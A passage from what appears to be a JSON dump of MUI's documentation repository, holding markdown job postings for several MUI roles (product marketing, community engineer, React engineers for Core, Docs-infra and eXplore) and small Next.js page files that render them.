Experience and Sales.\n\nOverall, both our open-source community and our premium products are growing fast.\nWe need talented people to keep up with the demands of our exigent community!\n\n### Why this is interesting\n\nIn this role, you will be a founding member of the marketing team and a passionate voice of our users, customers and prospects. This is a full stack product marketing role in that you will support messaging and positioning, sales materials and training, web copy, customer collateral and presentations, and act as the subject matter expert for the value of our product among the enterprise and SMB audiences.\n\nOur products empower React developers to build awesome applications faster – we see millions of developers on MUI's docs every year, one million a month.\n\n## The role\n\n### Key responsibilities\n\nDepending on the day, you'll:\n\n- **Own the commercial voice of MUI**. Define, document, and evolve the way we communicate with our customers, users, and the market/public.\n- **Personas**. Build deep knowledge and understanding of MUI's technical buyer personas and the journey of our enterprise prospects via market research, prospect/customer conversations, and internal conversations.\n- **Market research**. Use customer and competitive research to tailor effective messaging to our Enterprise audience.\n- **Content**. Plan and create impactful marketing materials mapped to buying journey. Generate high-quality content for customers including website copy/landing pages, blogs, webinar content, use cases, customer stories, showcases, and more.\n- **Paid channels**. Build and help execute marketing campaigns from the bottom up (identify goals, risks, audience, messages, and tactics), for example we can explore SEA & conference sponsoring.\n- **Sales**. Partner with the Sales team to create effective sales enablement materials.\n- **Events** Potentially: Lead corporate event programs that result in relationship building, lead/pipeline generation and acceleration, customer engagement, retention, and brand awareness.\n\n## Who we're looking for\n\n### Required\n\n- A technical background.\n- Experience marketing to software developers.\n- 2+ years experience of B2B product marketing.\n- As the first role, you'll need to bring an entrepreneurial, iterative mindset and be comfortable driving for clarity in ambiguous situations. When this is a success, you'll have an opportunity to help build the team.\n- Proven ability to be self-directed and work with limited supervision.\n- Passionate, self-starter with a can-do attitude. You're eager to jump in and get things done but don't get flustered in a fast-paced and often changing environment. Always willing to roll up your sleeves and get scrappy.\n- Strong critical thinker who feels comfortable pouring over analytics to make data-driven decisions, and explaining those decisions to leadership with the data.\n- Empathy: for our customers, for the team, and for yourself.\n- Outstanding written English communication skills. An ability to explain and translate complex technical concepts into simple and intuitive communications.\n\n## Benefits and compensation\n\nCompetitive compensation depending on the profile and location.\nWe are ready to pay top market rates for a person who can clearly exceed the role's expectations.\nYou can find the other perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/7811fc99-08b2-4fb3-b6c3-6af15fc7467a/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/react-community-engineer.js",
    "content": "import TopLayoutCareers from 'docs/src/modules/components/TopLayoutCareers';\nimport * as pageProps from 'docs/pages/careers/react-community-engineer.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCareers {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/careers/react-community-engineer.md",
    "content": "# React Community Engineer — X (future role)\n\n<p class=\"description\">You will work with the advanced components team to provide guidance to the community and help resolve user issues.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC4 or above](https://mui-org.notion.site/Leveling-at-MUI-5c30f9bfe65149d697f346447cef9db1).\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Joy UI is a sister library to Material UI that implements our own in-house Joy Design system.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nWe need a Community Engineer to solve friction points of users.\nWe face challenges on multiple fronts:\n\n- As a result of our growth, we have more user questions and feedback coming in than ever before.\n- The commercial version of the library is growing, but our community of developers is still small and has a reduced incentive to contribute compared to the community plan.\n- Software engineers at MUI are tasked with user support, but they could benefit from the help of a dedicated person in the company, for instance to improve the workflows and tooling.\n- The MUI X Premium plan will offer a technical advisor service, we need a Community Engineer to help deliver it.\n\nOverall, both our open-source community and our premium products are growing fast.\nWe need talented people to keep up with the demands of our exigent community!\n\n## The role\n\n### Why this is interesting\n\nYou will be a key member of the Developer Experience team and will directly impact customer satisfaction and success.\nYou will troubleshoot and depending on your bandwidth also fix complex issues related to MUI.\nAt MUI a Community Engineer is considered a developer—someone who enjoys optimizing what already exists but is also eager to help our users with features that are requested by the community.\n\nOur products empower React developers to build awesome applications faster—we see millions of developers on MUI's docs every year, one million a month.\n\n### Key responsibilities\n\nYou will own the following responsibilities:\n\n- **Build product knowledge**. You will continually research and learn the current and future best practices of using MUI.\n- **Resolve user issues**. You will solve these issues at two levels:\n  - On the surface, you will answer developers on GitHub, Zendesk, X, email, Slack.\n  - At the root, you will create/update the documentation, fix bugs in collaboration with the relevant developer, implement community driven features and more.\n- **Provide feedback**. You will work alongside product managers to define and shape the product goals, roadmap, priorities, and strategy based on your frontline knowledge of customer needs.\n- **Operations**.\n  - You will establish key support metrics and identify how best to measure them.\n  - You will establish a workflow to reduce 'time to response' and 'time to fix' that can scale to multiple team members.\n  - You will identify where internal tooling might be developed or obtained to improve support efficiency.\n\nFor the right candidate:\n\n- Working with the Leadership to construct and execute a hiring plan to grow the community team.\n\nDepending on the day, you'll:\n\n- **You'll be interacting with the users** on a regular basis, handling inbound support and feature requests (every developer helps with developer requests).\n- **Reduce friction**.\n  A large amount of the work on MUI is reducing friction and making it easier to use.\n  This might involve careful API design, identifying and fixing top bugs, creating easier-to-understand error messages, and writing documentation and blog posts about features you ship.\n- **Collaborate with the community**.\n  Many small, as well as meaningful fixes and features, have been contributed by the community. Your role is to draw the best out of the community — to inspire those across the world to create and contribute through your reviews of their issues and pull requests.\n- **Experiment and play**. Great, unexpected features and heisenbug fixes have come from a number of sources — relentlessly methodical processes of elimination, free-flowing team collaboration, inspiration by adjacent libraries and projects, and difficult-to-explain individual strokes of brilliance. Whatever your preferred style is for creating new things that others might not have thought of, you'll find a welcome home on the team.\n- **Ship. Early and often**. You'll iterate and ship frequently.\n  You'll have a real impact on the end-user experience and you'll love working on a team that builds stunning UIs and prioritizes delivering real user value as often as possible.\n\n## Who we're looking for\n\nWe're looking for someone with strong front-end skills. More important than specific technical skills though is that you're a strong problem solver who loves to learn. Details matter to you.\n\n### Required\n\n- **Expertise in the modern JavaScript ecosystem**.\n  MUI's open-source projects are built on the shoulders of giants, making use of technologies such as ES2021, TypeScript, Node.js, React, Next.js, webpack, and Babel.\n- **A track record of demonstrating an eye for product and solving real-world user problems**. If you have a knack for solving problems at the root cause, shipping beautiful user interfaces and intuitive APIs, we want you on our team.\n- **Strong written and verbal communication skills**.\n  As part of the team, you'll interface both directly and indirectly with community members and enterprise customers, and contribute to user documentation. Clear communication is fundamental in creating intuitive and compelling resources.\n- **Ability to dive into complex problems**.\n  You should be able to quickly assess, understand, and iterate upon aspects of our codebase.\n- **Ready and willing to ask and answer questions**.\n  If you're comfortable saying you're unsure, asking for help; but equally reaching out to assist others, you'll be an incredible addition to our team. We thrive because of continuous learning. First-time mistakes should be celebrated, not blamed.\n- **Avoid monolithic deliverables**.\n  You scope and stage your work into well-defined milestones to ship.\n- **Past work with front-end infrastructure**.\n  Perhaps you've created your company's design system, written a Babel plugin, or written complex React components.\n  It would be great if you could address this in your cover letter!\n\n### Nice to have (but not required)\n\n- **You've contributed to a design system before**.\n  You have worked on enterprise components in the past, maybe for internal use in your company.\n  You have built complex and advanced features while making sure the accessibility was fully functional.\n- **You've maintained an active repository before**.\n  Maybe you've helped maintain a popular open-source repository, or perhaps you've worked on internal repositories that saw contributions from multiple teams.\n  Previous experience with highly active repository workflows is a definite plus for this role.\n- **You have contributed code**. A history of contributing to MUI's open-source projects is a plus.\n\n## Benefits and compensation\n\nCompetitive compensation depending on the profile and location.\nWe are ready to pay top market rates for a person who can clearly exceed the role's expectations.\nYou can find the other perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/e362a14c-6674-4ac9-8eee-bcf44a8767c8/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/react-engineer-core.md",
    "content": "# React Engineer — Core (future role)\n\n<p class=\"description\">You will strengthen the core components team by collaborating with the community to land contributions.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC4 or above](https://mui-org.notion.site/Leveling-at-MUI-5c30f9bfe65149d697f346447cef9db1).\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Joy UI is a sister library to Material UI that implements our own in-house Joy Design system.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nThe core components team (MUI Core) needs help.\nThey are working on 4 products (Material UI, Base UI, Joy UI, and MUI System) with a tiny team.\n\nWe also need help to continue to improve the health of the open-source product: make the core components easier to use, increase the contributions by engaging and collaborating with the community, polish all the details, make the components more accessible, guide developers to answers, and just generally be a positive presence in the open-source community.\n\nOverall, both our open-source community and our premium products are growing fast.\nWe need talented people to keep up with the demands of our exigent community!\n\n## The role\n\n### Why this is interesting\n\nOur products empower React developers to build awesome applications faster – we see millions of developers on MUI's docs every year, one million a month.\n\nThe core components are widely used, you will receive a lot of feedback on your work.\nThe community has high expectations, they will push you to do better, every day.\n\n### Key responsibilities\n\nDepending on the day, you'll:\n\n- **Help guide architectural decisions**.\n  The future of MUI is discussed and planned in our public RFCs and issues.\n  You'll be helping drive these conversations and guiding MUI toward the best possible solutions.\n- **Contribute to deep, meaningful refactors and feature releases**.\n  MUI is a complex codebase. Components we've shipped recently, such as the unstyled components have required months of dedicated, careful work.\n- **Reduce friction**.\n  A large amount of the work at MUI is about reducing friction and making our products easier to use.\n  This might involve careful API design, identifying and fixing top bugs, creating error messages that are easier-to-understand, and writing documentation and blog posts about features you ship.\n- **Collaborate with the community**.\n  Many small, as well as meaningful fixes and features, have been contributed by the community.\n  Your role is to draw the best out of the community — to inspire those across the world to create and contribute through your reviews of their issues and pull requests.\n- **Experiment and play**.\n  Great, unexpected features and heisenbug fixes have come from a number of sources — relentlessly methodical processes of elimination, free-flowing team collaboration, inspiration by adjacent libraries and projects, and difficult-to-explain individual strokes of brilliance.\n  Whatever your preferred style is for creating new things that others might not have thought of, you'll find a welcome home on the team.\n- **Take ownership of features from idea/mockup to live deployment**.\n  You'll shape and guide the direction of crucial new features, including new components.\n- **Ship. Early and often**.\n  You'll iterate and ship frequently.\n  You'll have a real impact on the end-user experience and you'll love working on a team that builds stunning UIs and prioritizes delivering real user value as often as possible.\n- **You'll be interacting with the users** on a regular basis, handling inbound support and feature requests (every developer helps with developer requests).\n\n### The best parts of this job\n\n- **You'll be at the cutting edge of application development** — working on one of the fastest-growing UI libraries on the market.\n- **You'll be part of an active, open, friendly community** of developers that are excited about building awesome applications.\n- **Your role will be key to making MUI the go-to UI solution** for building applications, websites, and design systems with React.\n\n### The worst parts of this job\n\n- **Shifting context.**\n  You will necessarily have to shift context and dive into a different feature before the current one is done.\n  It may even be in an area of the codebase you're unfamiliar with or don't have a ton of understanding about.\n  It's fun and rewarding work, but it can be very challenging.\n- **We move quickly but don't sacrifice quality**.\n  We ship early, often, and quickly.\n  You may not be initially comfortable with the cadence with which we ship high-quality features and improvements to end users.\n  By doing so, we compromise on solving each problem 100% in favor of a shorter feedback loop.\n  Solving 50-70% of the issue with quality should be enough for any given iteration.\n  Our users quickly tell us when we haven't pushed a solution far enough.\n- **MUI has a large codebase**.\n  You may bang your head against the wall at times, and then write tests to assist your future self. 😌\n  The work you will be doing is somewhat unique and idiosyncratic. You probably have not had a similar role before.\n- **In open-source, you're faced with a nonstop stream of bug reports and support requests**.\n  That means you need to develop an intuition for when to ignore something, and when to dig in further.\n\n## Who we're looking for\n\nWe're looking for someone with strong front-end skills.\nMore important than specific technical skills, though, is that you're a strong problem solver who loves to learn.\nDetails matter to you.\n\n### Required\n\n- **Expertise in the modern JavaScript ecosystem**.\n  MUI's open-source projects are built on the shoulders of giants, making use of technologies such as ES2021, TypeScript, Node.js, React, Next.js, webpack, and Babel.\n- **A track record of demonstrating an eye for product and solving real-world user problems**.\n  If you have a knack for getting to the root of a problem while shipping beautiful user interfaces and intuitive APIs, we want you on our team.\n- **Experience building and shipping production code in a team setting** with a passion for writing tested, performant, and high-quality code.\n- **Strong written and verbal communication skills**.\n  As part of the team, you'll interface both directly and indirectly with community members and enterprise customers, and contribute to user documentation.\n  Clear communication is fundamental for creating intuitive and compelling resources.\n- **Ability to dive into complex problems**.\n  You should be able to quickly assess, understand, and iterate upon aspects of our codebase.\n- **Ready and willing to ask and answer questions**.\n  You should be equally comfortable asking for _and_ offering help when needed.\n  We thrive because of continuous learning.\n  First-time mistakes should be celebrated, not blamed.\n- **Avoid monolithic deliverables**.\n  You scope and stage your work into well-defined milestones to ship.\n- **Past work with front-end infrastructure**.\n  Perhaps you've created your company's design system, written a Babel plugin, or written complex React components.\n  It would be great if you could address this in your cover letter!\n\n### Nice to have (but not required)\n\n- **You've contributed to a design system before**.\n  You have worked on enterprise components in the past, maybe for internal use in your company.\n  You have built complex and advanced features while making sure the accessibility was fully functional.\n- **You've maintained an active repository before**.\n  Maybe you've helped maintain a popular open-source repository, or perhaps you've worked on internal repositories that saw contributions from multiple teams.\n  Previous experience with highly active repository workflows is a definite plus for this role.\n- **You have contributed code to MUI before**.\n  We would be thrilled to hire directly from our community contributors.\n- **You have experience with accessibility**.\n  Maybe you've been involved in bringing a11y compliance to your company's design system or application.\n  We would greatly benefit from having someone on the team who could take ownership of this.\n\n## Benefits and compensation\n\nCompetitive compensation depending on the profile and location.\nWe are ready to pay top market rates for a person who can clearly exceed the role's expectations.\nYou can find the other perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/e6d7cc26-3003-442f-bafb-464373fb2624/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/react-engineer-docs-infra.js",
    "content": "import TopLayoutCareers from 'docs/src/modules/components/TopLayoutCareers';\nimport * as pageProps from 'docs/pages/careers/react-engineer-docs-infra.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCareers {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/careers/react-engineer-docs-infra.md",
    "content": "# React Engineer — Docs-infra\n\n<p class=\"description\">You will drive the development and maintenance of the documentation platform that powers all MUI products.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-5 to UTC+2).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC3 (with high growth potential) or above](https://mui-org.notion.site/Leveling-at-MUI-5c30f9bfe65149d697f346447cef9db1).\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Joy UI is a sister library to Material UI that implements our own in-house Joy Design system.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nLearn more about what we value as an organization: [Evolving MUI's core values and behaviors](https://mui.com/blog/2023-mui-values/).\n\n## Why we're hiring\n\nDocumentation is critical to the overall experience of our products, and as one of the leading open-source UI projects, users expect our docs to be the best in class.\nIt's a differentiating factor for the product.\n\nThe docs are the primary means by which developers discover our products and learn how to wield them effectively.\nAnd just like the products themselves, the documentation should reflect our fundamental priorities of performance, speed, beauty, and clarity.\n\nOur internal Docs-infra team currently shares responsibility for this domain, and they've developed features such as [autogenerated](https://x.com/olivtassinari/status/1783894370011213869) OG images, multi-tab component demos, [speed](https://github.com/mui/material-ui/pull/40314) performance improvements, and more.\n\nThere are so many other features we'd like to implement, and projects we could draw inspiration from (for example, [Nextra](https://nextra.site/))—but the existing team (each of whom spends most of their time on one of our product engineering teams) simply doesn't have the bandwidth to take on bigger and more ambitious projects.\nFor example, we could offer visitors the ability to toggle the design language they want to view the docs in; automatically convert demos styled with CSS-in-JS to Tailwind CSS; use AI to provide more examples of component demo customization; and so much more.\n\nThat's why we're looking for a skilled JavaScript developer to own the docs infrastructure as their full-time responsibility.\n\n## The role\n\nAs the first full-time React engineer to own this domain, you will work on developing new features and infrastructure-related tasks to make documentation generation and consumption smoother, faster, and more intuitive.\n\nBecause this role involves maintaining a platform that all of our products depend on, you will have frequent opportunities to foster cross-team collaboration to gather feedback and iterate on new features.\nDay-to-day tasks may range from internal configuration improvements (for example, working with webpack, AST transformation tools, Netlify, and other developer tools) to user-facing feature implementation (for example, developing a playground feature teams can use to showcase components), so you should be comfortable working across the full stack of a Next.js-based app.\nYou will also play a fundamental role in defining the Docs-infra roadmap and priorities.\n\n### Key responsibilities\n\n- Ensure the documentation feels fast and snappy for readers\n- Monitor Lighthouse scores, bundle size, and search quality to make incremental improvements\n- Develop new features that will enhance the way the libraries are showcased\n- Improve the documentation authoring experience for both the maintainers and the community\n- Own infrastructure tasks like managing dependencies, analytics, TypeScript modules, and hosting, so product teams can stay focused on their primary responsibilities\n\n### Tasks and initiatives you might take on\n\n- Migrate the docs platform to the Next.js App Router\n- Allow users to search the docs within a specific product scope\n- Make it possible to store different parts of our documentation in different repositories\n- Standardize the documentation design and layout across all of MUI's products\n- Introduce a more scalable solution for hosting videos and images\n\n## Who we're looking for\n\n### Required\n\n- You're comfortable with the modern JavaScript ecosystem: we use React, TypeScript, Node.js, Next.js, webpack, and Babel, among other tools\n- You get energized to dive into complex problems\n- You're excited about helping engineers and designers build amazing UIs\n- You're highly empathetic\n- You have good product/design sensibility\n- You have great written and spoken English skills\n\n### Nice to have (but not required)\n\n- Strong product/design skills\n- Experience in open-source\n- Experience with design systems\n- Experience with MUI products\n\n## Benefits and compensation\n\nWe offer competitive compensation commensurate with your experience level and location and are prepared to pay top market rates for someone who can clearly exceed the role's expectations.\nYou can find the other perks and benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/673f3178-56f4-47fd-bd2b-6dcba57758aa/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/react-engineer-explore.js",
    "content": "import TopLayoutCareers from 'docs/src/modules/components/TopLayoutCareers';\nimport * as pageProps from 'docs/pages/careers/react-engineer-explore.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCareers {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/careers/react-engineer-explore.md",
    "content": "# React Engineer — eXplore\n\n<p class=\"description\">You will work with the team behind the Date Pickers and Tree View components to expand on our advanced component suite.</p>\n\n## Details of the role\n\n- **Location**: Remote (strong preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC4 or above](https://mui-org.notion.site/Leveling-at-MUI-5c30f9bfe65149d697f346447cef9db1).\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain. Base UI is our headless component library, and Pigment CSS is a zero-runtime CSS-in-JS styling engine. We also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate. We're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nThe eXplore team (part of MUI X) needs your help. The team is currently responsible for the Pickers and Tree View components with plans to expand to others in the future. Initially, we want to double down on our Pickers and work towards providing even greater customizability.\n\nWe also need help to continue to improve the health of the open-source product: make the advanced components easier to use, make it support more use cases, improve performance, make it more accessible, increase the contributions by engaging and collaborating with the community, guide developers to answers, and just generally be a positive presence in the open-source community.\n\nThe mission of the eXplore team is to help deliver the most comprehensive UI library the world has ever seen.\n\n### Why this is interesting\n\nThe advanced components portfolio is still small, with a million interesting and challenging problems to solve.\n\nOur products empower React developers to build awesome applications faster – we see millions of developers on MUI's docs every year, one million a month.\n\n## The role\n\n### Key responsibilities\n\nDepending on the day, you'll:\n\n- **Help guide architectural decisions**.\n  The future of MUI is discussed and planned in our public RFCs and issues.\n  You'll be helping drive these conversations and guiding MUI toward the best possible solutions.\n- **Contribute to deep, meaningful refactors and feature releases**.\n  MUI is a complex codebase. Components we've shipped recently, such as the data grid and date pickers have required months of dedicated, careful work.\n- **Reduce friction**.\n  A large amount of the work on MUI is reducing friction and making it easier to use.\n  This might involve careful API design, identifying and fixing top bugs, creating easier-to-understand error messages, and writing documentation and blog posts about features you ship.\n- **Collaborate with the community**.\n  Many small, as well as meaningful fixes and features, have been contributed by the community. Your role is to draw the best out of the community — to inspire those across the world to create and contribute through your reviews of their issues and pull requests.\n- **Experiment and play**. Great, unexpected features and heisenbug fixes have come from a number of sources — relentlessly methodical processes of elimination, free-flowing team collaboration, inspiration by adjacent libraries and projects, and difficult-to-explain individual strokes of brilliance. Whatever your preferred style is for creating new things that others might not have thought of, you'll find a welcome home on the team.\n- **Take ownership of features from idea/mockup to live deployment**.\n  You'll shape and guide the direction of crucial new features, including new components.\n- **Ship. Early and often**. You'll iterate and ship frequently.\n  You'll have a real impact on the end-user experience and you'll love working on a team that builds stunning UIs and prioritizes delivering real user value as often as possible.\n- **You'll be interacting with the users** on a regular basis, handling inbound support and feature requests (every developer helps with developer requests).\n\n### The best parts of this job\n\n- **You'll be at the cutting edge of application development** — working on one of the fastest-growing UI libraries on the market.\n- **You'll be part of an active, open, friendly community** of developers that are excited about building awesome applications.\n- **Your role will be key to making MUI the go-to UI solution** for building applications, websites, and design systems with React.\n\n### The worst parts of this job\n\n- **Shifting context.**\n  You will necessarily have to shift context and dive into a different feature before the current one is done.\n  It may even be in an area of the codebase you're unfamiliar with or don't have a ton of understanding about.\n  It's fun, rewarding work, but it can be very challenging.\n- **We move quickly but don't sacrifice quality**.\n  We ship early, often, and quickly. You may not be initially comfortable with the cadence with which we ship high-quality features and improvements to end-users. By doing so, we sacrifice on solving each problem 100% in exchange for fast feedback. Solving 50-70% of the issue with quality should be enough for any given iteration. Our users quickly tell us when we haven't pushed a solution far enough.\n- **MUI has a large codebase**. You may bang your head against the wall at times, and then write tests to assist future you 😌.\n  The work you will be doing is somewhat unique and idiosyncratic. You probably have not had a similar role before.\n- **In open-source, you're faced with a nonstop stream of bug reports and support requests**. That means you need to develop an intuition for when to ignore something, and when to dig in further.\n\n## Who we're looking for\n\nWe're looking for someone with strong front-end skills. More important than specific technical skills though is that you're a strong problem solver who loves to learn. Details matter to you.\n\n### Required\n\n- **Expertise in the modern JavaScript ecosystem**.\n  MUI's open-source projects are built on the shoulders of giants, making use of technologies such as ES2021, TypeScript, Node.js, React, Next.js, webpack, and Babel.\n- **A track record of demonstrating an eye for product and solving real-world user problems**. If you have a knack for solving problems at the root cause, shipping beautiful user interfaces and intuitive APIs, we want you on our team.\n- **Experience building and shipping production code in a team setting** with a passion for writing tested, performant, and high-quality code.\n- **Strong written and verbal communication skills**.\n  As part of the team, you'll interface both directly and indirectly with community members and enterprise customers, and contribute to user documentation. Clear communication is fundamental in creating intuitive and compelling resources.\n- **Ability to dive into complex problems**.\n  You should be able to quickly assess, understand, and iterate upon aspects of our codebase.\n- **Ready and willing to ask and answer questions**.\n  If you're comfortable saying you're unsure, asking for help; but equally reaching out to assist others, you'll be an incredible addition to our team. We thrive because of continuous learning. First-time mistakes should be celebrated, not blamed.\n- **Avoid monolithic deliverables**.\n  You scope and stage your work into well-defined milestones to ship.\n- **Past work with front-end infrastructure**.\n  Perhaps you've created your company's design system, written a Babel plugin, or written complex React components.\n  It would be great if you could address this in your cover letter!\n\n### Nice to have (but not required)\n\n- **You've contributed to a design system before**.\n  You have worked on enterprise components in the past, maybe for internal use in your company.\n  You have built complex and advanced features while making sure the accessibility was fully functional.\n- **You've maintained an active repository before**.\n  Maybe you've helped maintain a popular open-source repository, or perhaps you've worked on internal repositories that saw contributions from multiple teams.\n  Previous experience with highly active repository workflows is a definite plus for this role.\n- **You have contributed code**. A history of contributing to MUI's open-source projects is a plus.\n\n## Benefits and compensation\n\nWe offer competitive compensation commensurate with your experience level and location and are prepared to pay top market rates for someone who can clearly exceed the role's expectations. You can find the other perks and benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 